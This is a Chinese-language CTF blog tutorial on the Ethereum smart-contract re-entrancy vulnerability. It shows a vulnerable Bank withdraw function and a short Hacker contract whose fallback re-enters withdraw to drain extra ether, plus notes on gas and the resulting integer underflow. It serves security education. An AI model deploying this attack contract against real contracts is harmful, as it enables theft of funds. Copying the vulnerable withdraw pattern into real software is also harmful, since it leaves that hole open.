Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

    • PHP安全速查
    • JAVA安全速查
  • 隐写术
  • PHP

  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
  • BlockChain
Eki
2021-06-03
目录

reentrancy

# Re-Entrancy

# 原理

原理如下图所示:

img

# Example

假设有一个银行合约实现了以下取款功能,在 balanceOf[msg.sender] 充足时,合约会转账相应数量的以太币给调用者,并且将 balanceOf 减去相应值:

contract Bank {
    mapping(address => uint256) public balanceOf;
    ...
    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);
        msg.sender.call.value(amount)();//这里会调用调用合约的fallback函数造成无限递归
        balanceOf[msg.sender] -= amount;
    }
}
1
2
3
4
5
6
7
8
9

这个实现的问题在于,“先给钱后记账”。在以太坊中,合约的调用者可以是另一个智能合约,转账时收款合约的 fallback 函数会被调用。若 fallback 函数内再一次调用了对方的 withdraw 函数,由于此时 balanceOf 尚未减少,require 的条件仍然满足,导致可以再次取款。需要注意的是,fallback 函数需要限制重入的次数,否则会因为无限地循环调用,导致 gas 不足。假设攻击合约的存款有 1 ether,可以如下实现取出 2 ether:

contract Hacker {
    bool status = false;
    Bank b;

    constructor(address addr) public {
        b = Bank(addr);
    }

    function hack() public {
        b.withdraw(1 ether);
    }

    function() public payable {
        if (!status) {
            status = true;
            b.withdraw(1 ether);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

此外有几个注意点:

  • 目标合约使用 call 发送以太币时,默认提供所有剩余 gas;call 操作改为对提款者合约的调用亦可实现攻击;但如果使用 transfer 或者 send 来发送以太币,只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。
  • 执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback 函数,则需要新建一个合约,通过 selfdestruct 自毁强制转账。
  • 上述 fallback 实现中,先改写 status 后重入。如果反过来则还是会无限循环调用,这和重入漏洞的道理是一致的。

重入漏洞与整数下溢出漏洞关联密切。在上述攻击后,攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存,负数实际上保存为一个极大的正数,后续攻击合约可以继续使用这个大数额的存款。

# 例题

  • ethernaut Re-entrancy

# 参考资料

https://ctf-wiki.org/blockchain/ethereum/attacks/re-entrancy/

编辑 (opens new window)
上次更新: 2022/08/09, 14:57:22
最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式